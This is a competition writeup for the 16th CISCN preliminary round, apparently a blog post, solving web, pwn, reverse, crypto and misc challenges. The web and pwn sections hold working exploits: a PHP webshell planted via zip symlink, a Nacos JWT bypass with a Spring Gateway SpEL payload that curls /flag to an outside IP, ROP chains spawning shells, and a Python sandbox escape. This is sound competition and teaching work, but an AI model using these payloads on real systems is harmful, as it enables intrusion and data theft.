第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec

image.png

Web

unzip

ln -s /var/www/html/ webshell
zip -ry webshell.zip webshell
curl url/upload.php -F"file=@webshell.zip"
mkdir 123
cd 123
mkdir webshell
echo '<?php @eval($_POST[1]);?>' > webshell/1.php
zip -ry webshell.zip webshell
curl url/upload.php -F"file=@webshell.zip"

curl url/1.php -d "1=system('cat /flag');"

dumpit

这个dump调用了系统命令的mysqldump,这个db参数又可控,直接写报错信息到指定位置搜索flag

/?db=\<\?\=phpinfo\(\)?\> 2> log/p.php&table_2_dump=

image.png

BackendService

Nacos结合Spring Cloud Gateway RCE
参考https://xz.aliyun.com/t/11493
首先登录平台利用nacos的默认JWT key bypass平台的认证
image.png
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
生成jwt
image.png
得到payload

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0ZXN0IiwiZXhwIjoxNjc1MDgzODc3fQ.RIPoLpY9y_gf1VL8Cv_UxrYuVXjXItbD61DX2nZBsOo","tokenTtl": 18000,"globalAdmin": true,"username":"test"}

然后就是利用test进行登录
image.png
抓取返回包,改返回包状态码跟body,状态码改200,body改成上面的payload
image.png
放行就能登录,然后就是里面的RCE
先查看他的bootstrap.yml文件
image.png
里面有他支持的格式内容用到的name是backcfg、文件的类型是json
image.png
这个文件拿来改成json格式,然后在服务器上监听

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://xxx.xxx.xx.xxx:9999','-F','file=@/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

配置列表那边新增配置 Data ID为backcfg
image.png
然后发布,监听就能收到flag
image.png

Pwn

烧烤摊儿

先去功能1 把啤酒购买数量变负数 在扣钱的时候 等于是在加钱
金额满足了 先进入功能4 满足功能5条件
可以进入功能5 打溢出 + ropchain

from pwn import * 

io = remote("123.56.238.150", 24576)
# io = process("./shaokao")

# 先去功能1 把啤酒购买数量变负数    在扣钱的时候 等于是在加钱
io.sendlineafter(b'> ', b'1')
io.sendline(b'1')
io.sendline(b'-10000')

# 金额满足了 先进入功能4 满足功能5条件
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'> ', b'5')#可以进入功能5 打溢出 + ropchain


# ropgadget --binary 文件路径 --ropchain
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

payload = cyclic(0x20+8) + p
io.sendline( payload)

io.interactive()

funcanary

  1. 有后门函数 0x1231可以执行 system(“/bin/cat flag”)
  2. 开启了canary防溢出保护

核心思路是 爆破canary 然后劫持返回地址 跳转执行后门函数

from pwn import *

io = remote("123.56.236.235", 20899)
# io = process("./funcanary")

# 爆破canary 逐个字节爆破
canary = b'\x00'
for i in range(7):
    for i in range(256):
        io.sendafter("welcome\n",cyclic(0x68) + canary + p8(i))
        recv = io.recvline()
        if b"smashing" not in recv:
            canary += p8(i)
            break

# 低4位覆盖返回地址为后门函数:0x1231 开了pie  要把0x?231中的?爆破出来
for i in range(0x10):
    retaddr = 0x0231 + i*0x1000
    io.sendafter("welcome\n",cyclic(0x68)+canary+cyclic(8)+ p16(retaddr))
    recv = io.recvline()
    if b'flag' in recv:
        log.info("flag找到")
        break
io.interactive()

shell web go

ida 8.2 打开go写的elf文件
1.png
将我们得输入进行加密
然后可以看到
2.png
然后直接就是 先rc4加密 然后base64加密 这个时候我们就要获取我们加密得密文 直接 先base64解密 然后黑盒解出rc4解密 或者拿出密钥 然后直接内置解密就好

decry exp

import base64
from Crypto.Cipher import ARC4

b64_data = 'JLIX8pbSvYZu/WaG'

b64_Cipher_data = base64.b64decode(b64_data)

print(bytearray(b64_Cipher_data))

key = b'F1nallB1rd3K3y'

enc = ARC4.new(key)

res = enc.decrypt(b64_Cipher_data)

print(res)

image.png
然后程序会进入equal
image.png
这个函数存在溢出 然后就是普通的溢出打法

pwn sh

from pwn import *
import base64

# io = process("./pwn")
io = remote("123.56.135.185",29444)

key = "S33UAga1n@#!"

io.recvuntil("ciscnshell$ ")
io.sendline("cert nAcDsMicN " + key)

pop_rdi_ret_addr = 0x444fec
pop_rsi_ret_addr = 0x41e818
pop_rdx_ret_addr = 0x49e11d
pop_rax_ret_addr = 0x40d9e6
syscall = 0x40328c

pd = b"echo " + b"b" * 0x100 + b" " + b"b" * (0x123 - 0x20) + b"+" * (0x20)
pd += p64(pop_rdi_ret_addr) + p64(0)+ p64(pop_rsi_ret_addr) + p64(0xc000000000)+ p64(pop_rdx_ret_addr) + p64(8)+ p64(pop_rax_ret_addr) + p64(0)+ p64(syscall)+ p64(pop_rdi_ret_addr) + p64(0xc000000000)+ p64(pop_rsi_ret_addr) + p64(0)+ p64(pop_rdx_ret_addr) + p64(0)+ p64(pop_rax_ret_addr) + p64(0x3b)+ p64(syscall)

io.recvuntil("nightingale# ")
io.sendline(pd)

io.send("/bin/sh\x00")
io.interactive()

Reverse

ezbyte

静态分析,发现有input的调用,可以看出 输入的是一个 42位的字符串,但是除了这个函数就没有找到其他的函数对input进行判断了,开始动调image-20230527202948166.png

动态调试,看到,下面有一个 yes,猜测应该是正确后的输出,但是这里没有展示出来,并且想要进入到这个函数还有判断 r12等于0(因为 r13 通过异或变成了0)
image-20230527202734570.png
参考: https://bbs.kanxue.com/thread-271891.htm#msg_header_h2_1
发现是 DWARF Expression
参考: http://43.138.162.163:8090/archives/2022-dsctfchu-sai-nothing-writeup
写出对应的脚本
通过rust脚本将其还原成 c代码

use std::{collections::HashMap, fs, fmt::Display, io::Write};
use std::process::Command;

use gimli::UnwindSection;
use object::{Object, ObjectSection};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let mut arg = std::env::args();
    if arg.len() != 2 {
        panic!("Argument Error!")
    }
    let bin_data = fs::read(arg.nth(1).unwrap())?;
    let obj_file = object::File::parse(&*bin_data)?;
    let data = obj_file.section_by_name(".eh_frame").unwrap();
    let eh_frame = gimli::read::EhFrame::new(data.data()?, gimli::LittleEndian);
    let bases = gimli::BaseAddresses::default().set_eh_frame(data.address());
    let mut entries = eh_frame.entries(&bases);

    let mut file = fs::OpenOptions::new().append(false).truncate(true).write(true).create(true).open("./output.c")?;
    writeln!(file, "#include <stdint.h>")?;

    let mut cies = HashMap::new();
    while let Some(entry) = entries.next()? {
        if let gimli::CieOrFde::Fde(partial) = entry {
            let fde = partial.parse(|_, bases, o| {
                cies.entry(o)
                    .or_insert_with(|| eh_frame.cie_from_offset(bases, o))
                    .clone()
            })?;
            if fde.entry_len() < 100 {
                continue;
            }
            let mut instructions = fde.instructions(&eh_frame, &bases);
            use gimli::CallFrameInstruction::*;
            loop {
                match instructions.next() {
                    Err(e) => {
                        println!("Failed to decode CFI instruction: {}", e);
                        break;
                    }
                    Ok(Some(ValExpression {
                                register,
                                expression,
                            })) => {
                        println!(
                            "DW_CFA_val_expression ({}, ...)",
                            gimli::X86_64::register_name(register).unwrap_or("{unknown}")
                        );
                        display_val_expression(register, expression, &mut file)?;
                    }
                    Ok(None) => {
                        break;
                    }
                    _ => {}
                }
            }
        }
    }
    file.flush()?;

    Command::new("gcc")
        .arg("-O3")
        .arg("./output.c")
        .arg("-c")
        .spawn()?;

    Ok(())
}

#[derive(Clone, Copy)]
struct Val {
    id: u64,
}

impl Val {
    fn new(id: u64) -> Self {
        Val { id }
    }
}

struct ValGenerator {
    id: u64,
}

impl ValGenerator {
    fn new() -> Self {
        Self { id: 0 }
    }
    fn next(&mut self) -> Val {
        self.id += 1;
        Val::new(self.id - 1)
    }
}

impl Display for Val {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(f, "v{}", self.id)
    }
}

fn display_val_expression<R>(target_reg: gimli::Register, exp: gimli::Expression<R>, w: &mut dyn Write) -> Result<(), Box<dyn std::error::Error>>
    where
        R: gimli::Reader,
{
    let mut val_generator = ValGenerator::new();
    let mut ops = exp.operations(gimli::Encoding { address_size: 8, format: gimli::Format::Dwarf64, version: 5 });
    let mut stack: Vec<Val> = Vec::new();
    writeln!(w, "uint64_t cal_{}(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){{", gimli::X86_64::register_name(target_reg).unwrap())?;
    writeln!(w, "    uint64_t rax=0,rbx=0;")?;
    loop {
        if let Ok(Some(op)) = ops.next() {
            match op {
                gimli::Operation::Drop => {
                    stack.pop();
                }
                gimli::Operation::Pick { index } => {
                    let val1 = stack.get(stack.len() - 1 - index as usize).unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Swap => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val2);
                }
                gimli::Operation::Rot => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let val3 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val3);
                    stack.push(val2);
                }
                gimli::Operation::And => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}&{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Minus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}-{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Neg => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=-{};", val, val)?;
                }
                gimli::Operation::Not => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=~{};", val, val)?;
                }
                gimli::Operation::Or => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}|{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Plus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}+{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::PlusConstant { value } => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}+={}ull;", val, value)?;
                }
                gimli::Operation::Shl => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<<{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shr => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>>{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shra => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t)((int64_t){}>>(int64_t){});", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Xor => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}^{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Eq => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}= {}=={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ge => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Gt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Le => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Lt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ne => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}!={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::UnsignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}ull;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::SignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t){}ll;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::Register { register } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"))?;
                    stack.push(new_val);
                }
                gimli::Operation::RegisterOffset { register, offset , .. } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=({}+{}ull);", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"), offset)?;
                    stack.push(new_val);
                }
                _ => todo!("{:?}", op)
            }
        } else {
            break;
        }
    }
    assert_eq!(stack.len(), 1);
    writeln!(w, "    return {};", stack.pop().unwrap())?;
    writeln!(w, "}}\n")?;
    Ok(())
}

得到转换后的c代码

#include <stdint.h>


uint64_t cal_r12(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){
	uint64_t rax=0,rbx=0;
	uint64_t v0=2616514329260088143ull;
	uint64_t v1=1237891274917891239ull;
	uint64_t v2=1892739ull;
	uint64_t v3=(r12+0ull);
	uint64_t v4=v2+v3;
	uint64_t v5=v1^v4;
	uint64_t v6=v0^v5;
	uint64_t v7=8502251781212277489ull;
	uint64_t v8=1209847170981118947ull;
	uint64_t v9=8971237ull;
	uint64_t v10=(r13+0ull);
	uint64_t v11=v9+v10;
	uint64_t v12=v8^v11;
	uint64_t v13=v7^v12;
	uint64_t v14=v6|v13;
	uint64_t v15=2451795628338718684ull;
	uint64_t v16=1098791727398412397ull;
	uint64_t v17=1512312ull;
	uint64_t v18=(r14+0ull);
	uint64_t v19=v17+v18;
	uint64_t v20=v16^v19;
	uint64_t v21=v15^v20;
	uint64_t v22=v14|v21;
	uint64_t v23=8722213363631027234ull;
	uint64_t v24=1890878197237214971ull;
	uint64_t v25=9123704ull;
	uint64_t v26=(r15+0ull);
	uint64_t v27=v25+v26;
	uint64_t v28=v24^v27;
	uint64_t v29=v23^v28;
	uint64_t v30=v22|v29;
	return v30;
}

得到的c代码有点丑,直接编译,查看反编译后的代码

uint64_t __cdecl cal_r12(uint64_t r12_0, uint64_t r13_0, uint64_t r14_0, uint64_t r15_0)
{
  return (r15_0 + 9123704) ^ 0x6336396431BE9AD9i64 | (r14_0 + 1512312) ^ 0x2D393663614447B1i64 | (r13_0 + 8971237) ^ 0x65342D6530C04912i64 | (r12_0 + 1892739) ^ 0x35626665394D17E8i64;
}

直接写exp

# 根据之前函数得到开头flag{ 和结尾 3861}
r15_0 = 0x6336396431BE9AD9 - 9123704
r14_0 = 0x2D393663614447B1 - 1512312
r13_0 = 0x65342D6530C04912 - 8971237
r12_0 = 0x35626665394D17E8 - 1892739

flag = 'flag{'
flag += bytes.fromhex(hex(r12_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r13_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r14_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r15_0).replace('0x', '')).decode()[::-1]
flag += '3861}'
print(flag)

babyre

打开xml文件,发现是 snap
image-20230528101500228.png
进入app标签中对应网址
点击Run Snap
image.png

导入解压出的xml文件
image.png
点击lock可以看到加密算法
image.png
将对应的变量展示出来
image.png
点击左边这个模块,开始运行,拿到密文
image-20230528102026075.png
exp

enc = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 
    28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]

flag = ''
for i in range(1, len(enc)):
    enc[i] ^= enc[i-1]

for i in range(len(enc)):
    flag += chr(enc[i])

print(flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

Crypto

基于国密SM2算法的密钥密文分发

curl http://39.105.187.49:15721/api/login --data-urlencode "name=卢同学&school=XXXX大学"

请求ID
image.png
https://const.net.cn/tool/sm2/genkey/
生成SM2公钥

curl http://39.105.187.49:15721/api/allkey  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"

image.png

curl http://39.105.187.49:15721/api/quantum  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"

image.png

 curl http://39.105.187.49:15721/api/search  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"

拿到quantumString
image.png
然后在请求

 curl http://39.105.187.49:15721/api/check  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&quantumString=a13fbc06c2e802ef99ef2a14bf4bab79"

image.png
然后再次请求
/api/search

 curl http://39.105.187.49:15721/api/search  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"

image.png
得到flag

flag{c1e1b81b-3fe2-46b1-b316-743376e251c4}

可信度量

非预期,直接从根目录检索flag{关键字

grep -ra "flag{" /

image.png

Sign_in_passwd

base64换表
image.png

Misc

签到卡

根据公众号提示,直接输入print(open("/flag").read())
image.png

被生产加密的流量

modbus前几个请求包的modbus.word_cnt字段带有部分base32,提取出来:MMYWMX3GNEYWOXZRGAYDA=image.png
image.png

flag{c1f_fi1g_1000}

国粹

a.pngk.png的长度是一样的,总共341张牌,牌的类型根据题目.png总共有42种,而题目.png有两层,猜测第一层为Y轴,第二层为X
image.png
然后以a.pngk.png为坐标画图,总共341个坐标
先将所有牌按照题目.png排序编号

一萬 1   二萬 2   三萬 3   四萬 4   五萬 5
六萬 6   七萬 7   八萬 8   九萬 9   一饼 10
二饼 11  三饼 12  四饼 13  五饼 14  六饼 15
七饼 16  八饼 17  九饼 18  幺鸡 19  二条 20
三条 21  四条 22  五条 23  六条 24  七条 25
八条 26  九条 27  東   28  南   29  西   30
北   31  中   32  發   33  白板 34  春   35
夏   36  秋   37  冬   38  梅   39  蘭   40
竹   41  菊   42

然后提取坐标数据,这里纯手工提取的(当时没有找到比较好的方法处理)
be1557b00710805323a448540b51705.png

(1,4) (1,5) (1,10) (1,30) (2,3) (2,4) (2,5) (2,6) (2,10) (2,29) (2,30) (3,3) (3,4) (3,10) (3,16) (3,17) (3,22) (3,23) (3,24) (3,25) (3,29) (3,30) (4,2) (4,3) (4,4) (4,5) (4,10) (4,15) (4,16) (4,18) (4,21) (4,22) (4,24) (4,25) (4,29) (4,30) (5,3) (5,4) (5,10) (5,15) (5,17) (5,18) (5,19) (5,21) (5,22) (5,24) (5,28) (5,29) (6,3) (6,4) (6,10) (6,15) (6,16) (6,18) (6,19) (6,21) (6,22) (6,24) (6,29) (7,3) (7,4) (7,10) (7,11) (7,12) (7,13) (7,15) (7,18) (7,19) (7,22) (7,23) (7,24) (7,25) (7,29) (7,30) (8,3) (8,4) (8,11) (8,12) (8,15) (8,16) (8,17) (8,18) (8,19) (8,20) (8,25) (8,29) (8,30) (9,21) (9,22) (9,24) (9,25) (9,30) (9,31) (10,23) (10,24) (12,22) (12,23) (12,24) (12,25) (13,2) (13,3) (13,4) (13,5) (13,9) (13,10) (13,11) (13,12) (13,16) (13,17) (13,18) (13,19) (13,24) (13,25) (14,2) (14,5) (14,6) (14,9) (14,12) (14,19) (14,23) (14,24) (15,5) (15,9) (15,12) (15,18) (15,19) (15,22) (15,23) (16,4) (16,5) (16,9) (16,12) (16,17) (16,18) (16,23) (16,24) (17,3) (17,4) (17,9) (17,12) (17,16) (17,17) (17,24) (17,25) (18,3) (18,9) (18,12) (18,16) (18,25) (19,3) (19,4) (19,5) (19,6) (19,9) (19,10) (19,11) (19,12) (19,16) (19,17) (19,18) (19,19) (19,21) (19,22) (19,23) (19,24) (19,25) (20,10) (20,11) (22,3) (22,4) (22,5) (22,6) (22,10) (22,11) (22,12) (22,17) (22,18) (22,19) (22,24) (22,25) (23,3) (23,6) (23,7) (23,9) (23,10) (23,16) (23,17) (23,19) (23,20) (23,22) (23,23) (23,24) (23,25) (24,3) (24,6) (24,7) (24,9) (24,10) (24,16) (24,19) (24,20) (24,24) (24,25) (25,3) (25,6) (25,7) (25,10) (25,11) (25,12) (25,15) (25,19) (25,20) (25,24) (25,25) (26,3) (26,6) (26,7) (26,12) (26,13) (26,16) (26,19) (26,20) (26,24) (26,25) (27,3) (27,6) (27,7) (27,9) (27,12) (27,13) (27,16) (27,19) (27,20) (27,24) (27,25) (28,3) (28,4) (28,6) (28,9) (28,10) (28,11) (28,12) (28,16) (28,17) (28,19) (28,20) (28,24) (28,25) (29,4) (29,5) (29,17) (29,18) (29,19) (31,10) (31,11) (31,12) (31,13) (31,25) (31,31) (32,4) (32,5) (32,6) (32,10) (32,11) (32,12) (32,13) (32,17) (32,18) (32,19) (32,23) (32,24) (32,25) (32,26) (32,32) (33,3) (33,4) (33,6) (33,7) (33,12) (33,16) (33,17) (33,23) (33,24) (33,26) (33,32) (34,6) (34,7) (34,11) (34,16) (34,17) (34,23) (34,24) (34,26) (34,32) (35,6) (35,11) (35,12) (35,17) (35,18) (35,19) (35,23) (35,24) (35,25) (35,26) (35,33) (36,5) (36,12) (36,13) (36,19) (36,20) (36,26) (36,32) (37,4) (37,5) (37,13) (37,16) (37,19) (37,20) (37,25) (37,26) (37,32) (38,4) (38,5) (38,6) (38,7) (38,9) (38,10) (38,11) (38,12) (38,13) (38,16) (38,17) (38,18) (38,19) (38,24) (38,25) (38,31) (38,32) (39,23) (39,24) (39,31)

然后简单画出来就行

import matplotlib.pyplot as plt

with open('data.txt', 'r') as f:
	data_list = f.read().split(' ')
	for data in data_list:
		data = eval(data)
		plt.scatter(data[0], data[1], color='r')
plt.show()

image.png

flag{202305012359}

pyshell

利用_拼接命令执行cat /f*,注意每行限制长度7个字符

Welcome to this python shell,try to find the flag!
>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')."
"__import__('os')."
>>_+"sys"
"__import__('os').sys"
>>_+"tem"
"__import__('os').system"
>>_+"('c"
"__import__('os').system('c"
>>_+"at "
"__import__('os').system('cat "
>>_+"/f*"
"__import__('os').system('cat /f*"
>>_+"')"
"__import__('os').system('cat /f*')"
>>eval(_)
flag{043eb8a4-5f1a-482d-9f62-33a421ab4184}0
>>
阅读终点,创作起航,您可以撰写心得或摘录文章要点写篇博文。去创作
  • 6
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
